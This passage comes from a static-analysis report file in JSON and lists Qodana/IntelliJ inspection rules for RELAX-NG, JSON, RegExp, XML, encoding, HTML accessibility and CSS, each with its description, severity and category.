"text": "Reports an unused named pattern ('define') in a RELAX-NG file (XML or Compact Syntax). 'define' elements that are used through an include in another file are ignored.",
"markdown": "Reports an unused named pattern (`define`) in a RELAX-NG file (XML or Compact Syntax). `define` elements that are used through an include in another file are ignored."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "UnusedDefine",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RELAX NG",
"index": 43,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "JsonSchemaCompliance",
"shortDescription": {
"text": "Compliance with JSON schema"
},
"fullDescription": {
"text": "Reports inconsistence between a JSON file and the JSON schema that is assigned to it.",
"markdown": "Reports inconsistence between a JSON file and the [JSON schema](https://json-schema.org) that is assigned to it. "
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "JsonSchemaCompliance",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "JSON and JSON5",
"index": 8,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "EmptyDirectory",
"shortDescription": {
"text": "Empty directory"
},
"fullDescription": {
"text": "Reports empty directories. Available only from Code | Inspect Code or Code | Analyze Code | Run Inspection by Name and isn't reported in the editor. Use the Only report empty directories located under a source folder option to have only directories under source roots reported.",
"markdown": "Reports empty directories.\n\nAvailable only from **Code \\| Inspect Code** or\n**Code \\| Analyze Code \\| Run Inspection by Name** and isn't reported in the editor.\n\nUse the **Only report empty directories located under a source folder** option to have only directories under source\nroots reported."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "EmptyDirectory",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "General",
"index": 19,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpAnonymousGroup",
"shortDescription": {
"text": "Anonymous capturing group or numeric back reference"
},
"fullDescription": {
"text": "Reports anonymous capturing groups and numeric back references in a RegExp. These are only reported when the RegExp dialect supports named group and named group references. Named groups and named back references improve code readability and are recommended to use instead. When a capture is not needed, matching can be more performant and use less memory by using a non-capturing group, i.e. '(?:xxx)' instead of '(xxx)'. Example: '(\\d\\d\\d\\d)\\1' A better regex pattern could look like this: '(?\\d\\d\\d\\d)\\k' New in 2017.2",
"markdown": "Reports anonymous capturing groups and numeric back references in a RegExp. These are only reported when the RegExp dialect supports named group and named group references. Named groups and named back references improve code readability and are recommended to use instead. When a capture is not needed, matching can be more performant and use less memory by using a non-capturing group, i.e. `(?:xxx)` instead of `(xxx)`.\n\n**Example:**\n\n\n (\\d\\d\\d\\d)\\1\n\nA better regex pattern could look like this:\n\n\n (?\\d\\d\\d\\d)\\k\n\nNew in 2017.2"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpAnonymousGroup",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckDtdRefs",
"shortDescription": {
"text": "Unresolved DTD reference"
},
"fullDescription": {
"text": "Reports inconsistency in a DTD-specific reference, for example, in a reference to an XML entity or to a DTD element declaration. Works in DTD an XML files.",
"markdown": "Reports inconsistency in a DTD-specific reference, for example, in a reference to an XML entity or to a DTD element declaration. Works in DTD an XML files."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CheckDtdRefs",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "NonAsciiCharacters",
"shortDescription": {
"text": "Non-ASCII characters"
},
"fullDescription": {
"text": "Reports code elements that use non-ASCII symbols in an unusual context. Example: Non-ASCII characters used in identifiers, strings, or comments. Identifiers written in different languages, such as 'myСollection' with the letter 'C' written in Cyrillic. Comments or strings containing Unicode symbols, such as long dashes and arrows.",
"markdown": "Reports code elements that use non-ASCII symbols in an unusual context.\n\nExample:\n\n* Non-ASCII characters used in identifiers, strings, or comments.\n* Identifiers written in different languages, such as `my`**С**`ollection` with the letter **C** written in Cyrillic.\n* Comments or strings containing Unicode symbols, such as long dashes and arrows."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "NonAsciiCharacters",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Internationalization",
"index": 61,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "LossyEncoding",
"shortDescription": {
"text": "Lossy encoding"
},
"fullDescription": {
"text": "Reports characters that cannot be displayed because of the current document encoding. Examples: If you type international characters in a document with the US-ASCII charset, some characters will be lost on save. If you load a UTF-8-encoded file using the ISO-8859-1 one-byte charset, some characters will be displayed incorrectly. You can fix this by changing the file encoding either by specifying the encoding directly in the file, e.g. by editing 'encoding=' attribute in the XML prolog of XML file, or by changing the corresponding options in Settings | Editor | File Encodings.",
"markdown": "Reports characters that cannot be displayed because of the current document encoding.\n\nExamples:\n\n* If you type international characters in a document with the **US-ASCII** charset, some characters will be lost on save.\n* If you load a **UTF-8** -encoded file using the **ISO-8859-1** one-byte charset, some characters will be displayed incorrectly.\n\nYou can fix this by changing the file encoding\neither by specifying the encoding directly in the file, e.g. by editing `encoding=` attribute in the XML prolog of XML file,\nor by changing the corresponding options in **Settings \\| Editor \\| File Encodings**."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "LossyEncoding",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Internationalization",
"index": 61,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpRepeatedSpace",
"shortDescription": {
"text": "Consecutive spaces"
},
"fullDescription": {
"text": "Reports multiple consecutive spaces in a RegExp. Because spaces are not visible by default, it can be hard to see how many spaces are required. The RegExp can be made more clear by replacing the consecutive spaces with a single space and a counted quantifier. Example: '( )' After the quick-fix is applied: '( {5})' New in 2017.1",
"markdown": "Reports multiple consecutive spaces in a RegExp. Because spaces are not visible by default, it can be hard to see how many spaces are required. The RegExp can be made more clear by replacing the consecutive spaces with a single space and a counted quantifier.\n\n**Example:**\n\n\n ( )\n\nAfter the quick-fix is applied:\n\n\n ( {5})\n\n\nNew in 2017.1"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpRepeatedSpace",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpDuplicateAlternationBranch",
"shortDescription": {
"text": "Duplicate branch in alternation"
},
"fullDescription": {
"text": "Reports duplicate branches in a RegExp alternation. Duplicate branches slow down matching and obscure the intent of the expression. Example: '(alpha|bravo|charlie|alpha)' After the quick-fix is applied: '(alpha|bravo|charlie)' New in 2017.1",
"markdown": "Reports duplicate branches in a RegExp alternation. Duplicate branches slow down matching and obscure the intent of the expression.\n\n**Example:**\n\n\n (alpha|bravo|charlie|alpha)\n\nAfter the quick-fix is applied:\n\n\n (alpha|bravo|charlie)\n\nNew in 2017.1"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpDuplicateAlternationBranch",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "IgnoreFileDuplicateEntry",
"shortDescription": {
"text": "Ignore file duplicates"
},
"fullDescription": {
"text": "Reports duplicate entries (patterns) in the ignore file (e.g. .gitignore, .hgignore). Duplicate entries in these files are redundant and can be removed. Example: '# Output directories\n /out/\n /target/\n /out/'",
"markdown": "Reports duplicate entries (patterns) in the ignore file (e.g. .gitignore, .hgignore). Duplicate entries in these files are redundant and can be removed.\n\nExample:\n\n\n # Output directories\n /out/\n /target/\n /out/\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "IgnoreFileDuplicateEntry",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Version control",
"index": 62,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "JsonStandardCompliance",
"shortDescription": {
"text": "Compliance with JSON standard"
},
"fullDescription": {
"text": "Reports the following discrepancies of a JSON file with the language specification: A line or block comment (configurable). Multiple top-level values (expect for JSON Lines files, configurable for others). A trailing comma in an object or array (configurable). A single quoted string. A property key is a not a double quoted strings. A NaN or Infinity/-Infinity numeric value as a floating point literal (configurable).",
"markdown": "Reports the following discrepancies of a JSON file with [the language specification](https://tools.ietf.org/html/rfc7159):\n\n* A line or block comment (configurable).\n* Multiple top-level values (expect for JSON Lines files, configurable for others).\n* A trailing comma in an object or array (configurable).\n* A single quoted string.\n* A property key is a not a double quoted strings.\n* A NaN or Infinity/-Infinity numeric value as a floating point literal (configurable)."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "JsonStandardCompliance",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "JSON and JSON5",
"index": 8,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckEmptyScriptTag",
"shortDescription": {
"text": "Empty tag"
},
"fullDescription": {
"text": "Reports empty tags that do not work in some browsers. Example: '\n \n ' After the quick-fix is applied: '\n \n '",
"markdown": "Reports empty tags that do not work in some browsers.\n\n**Example:**\n\n\n \n \n \n\nAfter the quick-fix is applied:\n\n\n \n \n \n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CheckEmptyScriptTag",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "HtmlTools",
"version": "233.13017",
"rules": [
{
"id": "HtmlRequiredAltAttribute",
"shortDescription": {
"text": "Missing required 'alt' attribute"
},
"fullDescription": {
"text": "Reports a missing 'alt' attribute in a 'img' or 'applet' tag or in a 'area' element of an image map. Suggests adding a required attribute with a text alternative for the contents of the tag. Based on WCAG 2.0: H24, H35, H36, H37.",
"markdown": "Reports a missing `alt` attribute in a `img` or `applet` tag or in a `area` element of an image map. Suggests adding a required attribute with a text alternative for the contents of the tag. Based on WCAG 2.0: [H24](https://www.w3.org/TR/WCAG20-TECHS/H24.html), [H35](https://www.w3.org/TR/WCAG20-TECHS/H35.html), [H36](https://www.w3.org/TR/WCAG20-TECHS/H36.html), [H37](https://www.w3.org/TR/WCAG20-TECHS/H37.html)."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlRequiredAltAttribute",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML/Accessibility",
"index": 20,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlFormInputWithoutLabel",
"shortDescription": {
"text": "Missing associated label"
},
"fullDescription": {
"text": "Reports a form element ('input', 'textarea', or 'select') without an associated label. Suggests creating a new label. Based on WCAG 2.0: H44.",
"markdown": "Reports a form element (`input`, `textarea`, or `select`) without an associated label. Suggests creating a new label. Based on WCAG 2.0: [H44](https://www.w3.org/TR/WCAG20-TECHS/H44.html). "
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlFormInputWithoutLabel",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML/Accessibility",
"index": 20,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlRequiredTitleAttribute",
"shortDescription": {
"text": "Missing required 'title' attribute"
},
"fullDescription": {
"text": "Reports a missing title attribute 'frame', 'iframe', 'dl', and 'a' tags. Suggests adding a title attribute. Based on WCAG 2.0: H33, H40, and H64.",
"markdown": "Reports a missing title attribute `frame`, `iframe`, `dl`, and `a` tags. Suggests adding a title attribute. Based on WCAG 2.0: [H33](https://www.w3.org/TR/WCAG20-TECHS/H33.html), [H40](https://www.w3.org/TR/WCAG20-TECHS/H40.html), and [H64](https://www.w3.org/TR/WCAG20-TECHS/H64.html)."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "HtmlRequiredTitleAttribute",
"ideaSeverity": "INFORMATION",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "HTML/Accessibility",
"index": 20,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlDeprecatedTag",
"shortDescription": {
"text": "Obsolete tag"
},
"fullDescription": {
"text": "Reports an obsolete HTML5 tag. Suggests replacing the obsolete tag with a CSS or another tag.",
"markdown": "Reports an obsolete HTML5 tag. Suggests replacing the obsolete tag with a CSS or another tag."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlDeprecatedTag",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckImageSize",
"shortDescription": {
"text": "Mismatched image size"
},
"fullDescription": {
"text": "Reports a 'width' and 'height' attribute value of a 'img' tag that is different from the actual width and height of the referenced image.",
"markdown": "Reports a `width` and `height` attribute value of a `img` tag that is different from the actual width and height of the referenced image."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CheckImageSize",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlRequiredSummaryAttribute",
"shortDescription": {
"text": "Missing required 'summary' attribute"
},
"fullDescription": {
"text": "Reports a missing 'summary' attribute in a 'table' tag. Suggests adding a'summary' attribute. Based on WCAG 2.0: H73.",
"markdown": "Reports a missing `summary` attribute in a `table` tag. Suggests adding a`summary` attribute. Based on WCAG 2.0: [H73](https://www.w3.org/TR/WCAG20-TECHS/H73.html)."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "HtmlRequiredSummaryAttribute",
"ideaSeverity": "INFORMATION",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "HTML/Accessibility",
"index": 20,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlRequiredLangAttribute",
"shortDescription": {
"text": "Missing required 'lang' attribute"
},
"fullDescription": {
"text": "Reports a missing 'lang' (or 'xml:lang') attribute in a 'html' tag. Suggests adding a required attribute to state the default language of the document. Based on WCAG 2.0: H57.",
"markdown": "Reports a missing `lang` (or `xml:lang`) attribute in a `html` tag. Suggests adding a required attribute to state the default language of the document. Based on WCAG 2.0: [H57](https://www.w3.org/TR/WCAG20-TECHS/H57.html)."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlRequiredLangAttribute",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML/Accessibility",
"index": 20,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlNonExistentInternetResource",
"shortDescription": {
"text": "Unresolved web link"
},
"fullDescription": {
"text": "Reports an unresolved web link. Works by making network requests in the background.",
"markdown": "Reports an unresolved web link. Works by making network requests in the background."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlNonExistentInternetResource",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlRequiredTitleElement",
"shortDescription": {
"text": "Missing required 'title' element"
},
"fullDescription": {
"text": "Reports a missing 'title' element inside a 'head' section. Suggests adding a 'title' element. The title should describe the document. Based on WCAG 2.0: H25.",
"markdown": "Reports a missing `title` element inside a `head` section. Suggests adding a `title` element. The title should describe the document. Based on WCAG 2.0: [H25](https://www.w3.org/TR/WCAG20-TECHS/H25.html)."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlRequiredTitleElement",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML/Accessibility",
"index": 20,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlDeprecatedAttribute",
"shortDescription": {
"text": "Obsolete attribute"
},
"fullDescription": {
"text": "Reports an obsolete HTML5 attribute.",
"markdown": "Reports an obsolete HTML5 attribute."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlDeprecatedAttribute",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlPresentationalElement",
"shortDescription": {
"text": "Presentational tag"
},
"fullDescription": {
"text": "Reports a presentational HTML tag. Suggests replacing the presentational tag with a CSS or another tag.",
"markdown": "Reports a presentational HTML tag. Suggests replacing the presentational tag with a CSS or another tag."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "HtmlPresentationalElement",
"ideaSeverity": "INFORMATION",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "com.intellij.css",
"version": "233.13017",
"rules": [
{
"id": "CssInvalidHtmlTagReference",
"shortDescription": {
"text": "Invalid type selector"
},
"fullDescription": {
"text": "Reports a CSS type selector that matches an unknown HTML element.",
"markdown": "Reports a CSS [type selector](https://developer.mozilla.org/en-US/docs/Web/CSS/Type_selectors) that matches an unknown HTML element."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssInvalidHtmlTagReference",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidCustomPropertyAtRuleDeclaration",
"shortDescription": {
"text": "Invalid @property declaration"
},
"fullDescription": {
"text": "Reports a missing required syntax, inherits, or initial-value property in a declaration of a custom property.",
"markdown": "Reports a missing required [syntax](https://developer.mozilla.org/en-US/docs/web/css/@property/syntax), [inherits](https://developer.mozilla.org/en-US/docs/web/css/@property/inherits), or [initial-value](https://developer.mozilla.org/en-US/docs/web/css/@property/initial-value) property in a declaration of a custom property."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssInvalidCustomPropertyAtRuleDeclaration",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidFunction",
"shortDescription": {
"text": "Invalid function"
},
"fullDescription": {
"text": "Reports an unknown CSS function or an incorrect function parameter.",
"markdown": "Reports an unknown [CSS function](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Functions) or an incorrect function parameter."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssInvalidFunction",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssMissingSemicolon",
"shortDescription": {
"text": "Missing semicolon"
},
"fullDescription": {
"text": "Reports a missing semicolon at the end of a declaration.",
"markdown": "Reports a missing semicolon at the end of a declaration."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssMissingSemicolon",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Code style issues",
"index": 35,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssRedundantUnit",
"shortDescription": {
"text": "Redundant measure unit"
},
"fullDescription": {
"text": "Reports a measure unit of a zero value where units are not required by the specification. Example: 'width: 0px'",
"markdown": "Reports a measure unit of a zero value where units are not required by the specification.\n\n**Example:**\n\n width: 0px\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssRedundantUnit",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Code style issues",
"index": 35,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssMissingComma",
"shortDescription": {
"text": "Missing comma in selector list"
},
"fullDescription": {
"text": "Reports a multi-line selector. Most likely this means that several single-line selectors are actually intended but a comma is missing at the end of one or several lines. Example: 'input /* comma has probably been forgotten */\n.button {\n margin: 1px;\n}'",
"markdown": "Reports a multi-line selector. Most likely this means that several single-line selectors are actually intended but a comma is missing at the end of one or several lines.\n\n**Example:**\n\n\n input /* comma has probably been forgotten */\n .button {\n margin: 1px;\n }\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssMissingComma",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Probable bugs",
"index": 45,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidPropertyValue",
"shortDescription": {
"text": "Invalid property value"
},
"fullDescription": {
"text": "Reports an incorrect CSS property value.",
"markdown": "Reports an incorrect CSS property value."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssInvalidPropertyValue",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssBrowserCompatibilityForProperties",
"shortDescription": {
"text": "Property is incompatible with selected browsers"
},
"fullDescription": {
"text": "Reports a CSS property that is not supported by the specified browsers. Based on the MDN Compatibility Data.",
"markdown": "Reports a CSS property that is not supported by the specified browsers. Based on the [MDN Compatibility Data](https://github.com/mdn/browser-compat-data)."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssBrowserCompatibilityForProperties",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidCustomPropertyAtRuleName",
"shortDescription": {
"text": "Invalid @property name"
},
"fullDescription": {
"text": "Reports an invalid custom property name. Custom property name should be prefixed with two dashes. Example: '@property invalid-property-name {\n ...\n}\n\n@property --valid-property-name {\n ...\n}'",
"markdown": "Reports an invalid custom property name. Custom property name should be prefixed with two dashes.\n\n**Example:**\n\n\n @property invalid-property-name {\n ...\n }\n\n @property --valid-property-name {\n ...\n }\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssInvalidCustomPropertyAtRuleName",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssConvertColorToHexInspection",
"shortDescription": {
"text": "Color could be replaced with #-hex"
},
"fullDescription": {
"text": "Reports an 'rgb()', 'hsl()', or other color function. Suggests replacing a color function with an equivalent hexadecimal notation. Example: 'rgb(12, 15, 255)' After the quick-fix is applied: '#0c0fff'.",
"markdown": "Reports an `rgb()`, `hsl()`, or other color function.\n\nSuggests replacing a color function with an equivalent hexadecimal notation.\n\n**Example:**\n\n rgb(12, 15, 255)\n\nAfter the quick-fix is applied:\n\n #0c0fff.\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssConvertColorToHexInspection",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssReplaceWithShorthandUnsafely",
"shortDescription": {
"text": "Properties may probably be replaced with a shorthand"
},
"fullDescription": {
"text": "Reports a set of longhand CSS properties and suggests replacing an incomplete set of longhand CSS properties with a shorthand form, which is however not 100% equivalent in this case. For example, 2 properties: 'outline-color' and 'outline-style' may be replaced with a single 'outline'. Such replacement is not 100% equivalent because shorthands reset all omitted sub-values to their initial states. In this example, switching to the 'outline' shorthand means that 'outline-width' is also set to its initial value, which is 'medium'. This inspection doesn't handle full sets of longhand properties (when switching to shorthand is 100% safe). For such cases see the 'Properties may be safely replaced with a shorthand' inspection instead.",
"markdown": "Reports a set of longhand CSS properties and suggests replacing an incomplete set of longhand CSS properties with a shorthand form, which is however not 100% equivalent in this case.\n\n\nFor example, 2 properties: `outline-color` and `outline-style` may be replaced with a single `outline`.\nSuch replacement is not 100% equivalent because shorthands reset all omitted sub-values to their initial states.\nIn this example, switching to the `outline` shorthand means that `outline-width` is also set to its initial value,\nwhich is `medium`.\n\n\nThis inspection doesn't handle full sets of longhand properties (when switching to shorthand is 100% safe).\nFor such cases see the 'Properties may be safely replaced with a shorthand' inspection instead."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "CssReplaceWithShorthandUnsafely",
"ideaSeverity": "INFORMATION",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssUnknownUnit",
"shortDescription": {
"text": "Unknown unit"
},
"fullDescription": {
"text": "Reports an unknown unit.",
"markdown": "Reports an unknown unit."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssUnknownUnit",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidMediaFeature",
"shortDescription": {
"text": "Invalid media feature"
},
"fullDescription": {
"text": "Reports an unknown CSS media feature or an incorrect media feature value.",
"markdown": "Reports an unknown [CSS media feature](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries) or an incorrect media feature value."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssInvalidMediaFeature",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssConvertColorToRgbInspection",
"shortDescription": {
"text": "Color could be replaced with rgb()"
},
"fullDescription": {
"text": "Reports an 'hsl()' or 'hwb()' color function or a hexadecimal color notation. Suggests replacing such color value with an equivalent 'rgb()' or 'rgba()' color function. Example: '#0c0fff' After the quick-fix is applied: 'rgb(12, 15, 255)'.",
"markdown": "Reports an `hsl()` or `hwb()` color function or a hexadecimal color notation.\n\nSuggests replacing such color value with an equivalent `rgb()` or `rgba()` color function.\n\n**Example:**\n\n #0c0fff\n\nAfter the quick-fix is applied:\n\n rgb(12, 15, 255).\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssConvertColorToRgbInspection",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssUnusedSymbol",
"shortDescription": {
"text": "Unused selector"
},
"fullDescription": {
